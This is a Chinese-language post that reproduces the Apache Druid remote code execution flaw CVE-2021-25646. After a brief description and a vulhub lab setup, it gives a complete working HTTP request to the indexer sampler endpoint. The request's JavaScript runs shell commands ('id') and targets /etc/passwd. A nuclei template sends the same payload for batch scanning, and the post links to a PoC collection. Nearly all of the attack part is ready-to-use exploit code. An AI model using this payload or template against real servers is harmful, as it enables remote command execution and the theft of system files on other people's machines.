漏洞描述
Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用，并且默认是禁用的。然而，在Druid 0.20.0及以前的版本中，攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码，而不管服务器配置如何，这将导致代码和命令执行漏洞。
靶场搭建-vulhub
cd/vulhub-master/apache-druid/CVE-2021-25646docker-compose up-d
漏洞复现
打开页面
构造payload,id命令执行成功
POST/druid/indexer/v1/samplerHTTP/1.1Host: 172.16.10.14:8888Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 912
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(["sh","-c","id"]).getInputStream()).useDelimiter("\A").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
nuclei批量验证
id: Apache-Druid-RCE-CVE-2021-25646
info:
name: Apache Druid 代码执行漏洞（CVE-2021-25646）
author: changge
severity: info
description: Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用，并且默认是禁用的。然而，在Druid 0.20.0及以前的版本中，攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码，而不管服务器配置如何，这将导致代码和命令执行漏洞。
reference:
- https://
tags: cve,apache-druid,Druid
requests:
- raw:
- |-
POST /druid/indexer/v1/sampler HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 912
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(["sh","-c","id"]).getInputStream()).useDelimiter("\A").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'uid'
- type: status
status:
- 200
github poc总汇地址：https://github.com/AYcg/poc
原文始发于微信公众号（AY长歌）：Apache Druid 代码执行漏洞（CVE-2021-25646）
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